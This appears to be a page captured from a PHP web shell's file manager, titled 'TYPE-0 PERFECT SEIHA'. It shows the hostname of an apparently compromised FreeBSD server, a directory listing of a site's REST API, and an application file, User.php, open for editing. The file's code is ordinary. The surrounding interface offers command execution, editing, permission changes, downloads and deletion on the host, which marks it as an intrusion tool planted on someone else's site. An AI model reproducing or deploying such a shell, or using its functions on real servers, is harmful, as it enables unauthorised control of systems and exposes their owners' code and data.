TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
app
RestTrush
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/app/RestTrush/User.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest\Users; use Nette\Database\Context; use Nette\Utils\Validators; use Rest\Me; use RestServer\Exceptions\BadRequestException; use RestServer\Exceptions\MissingRequiredParameterException; use RestServer\Exceptions\NotFoundException; use RestServer\IIdentity; use RestServer\IPresenter; use RestServer\IParametrs; use RestServer\Response; /** * User detail informations. * @param ( * name = fields, * type = string - comma separated fileld (emails,, rules)) * ) * @author Jan Pospisil */ class User extends \Nette\Object implements IPresenter { private $connection; private $identity; public function __construct(Context $context, IIdentity $identity){ $this->connection = $context; $this->identity = $identity; } public function run(IParametrs $parameters, Response $response) { $id = $parameters->path('id'); if(!$id) throw new MissingRequiredParameterException('ID is required.'); if(!Validators::isNumericInt($id)) throw new BadRequestException('ID must be numeric int.'); $userRow = $this->connection->table('user')->get($id); if(!$userRow) throw new NotFoundException('User does not exist.'); $response->data = \Model\User\User::getUser($userRow, array('emails'), $this->identity); } public static function getReturnExample(){ $return = Me::getReturnExample(); //$return['attributes']['access_token'] = Random::generate(50); return $return; } }
Crotin
Name
Size
Permissions
Modified
User/Group
AddActivity.php
1890
0644
2016-04-16 10:22:21
Unknown/Unknown
Me.php
1151
0644
2016-04-16 10:22:19
Unknown/Unknown
ForgottenPassword.php
3131
0644
2016-04-16 10:22:24
Unknown/Unknown
Options.php
384
0644
2016-04-16 10:22:13
Unknown/Unknown
User.php
1499
0644
2016-04-16 10:22:15
Unknown/Unknown
Login.php
2874
0644
2016-04-16 10:22:22
Unknown/Unknown
Logout.php
1125
0644
2016-04-16 10:22:21
Unknown/Unknown
ResetPassword.php
3062
0644
2016-04-16 10:22:16
Unknown/Unknown
Users.php
1491
0644
2016-04-16 10:22:21
Unknown/Unknown
Search
-
0755
2016-04-16 10:22:34
Unknown/Unknown
Account
-
0755
2016-04-16 10:22:35
Unknown/Unknown
Dictionary
-
0755
2016-04-16 10:22:38
Unknown/Unknown
CreateRequest.php
2881
0644
2016-04-16 10:22:24
Unknown/Unknown
Url
-
0755
2016-04-16 10:22:33
Unknown/Unknown
Video
-
0755
2016-04-16 10:22:34
Unknown/Unknown
FindUsername.php
1344
0644
2016-04-16 10:22:22
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin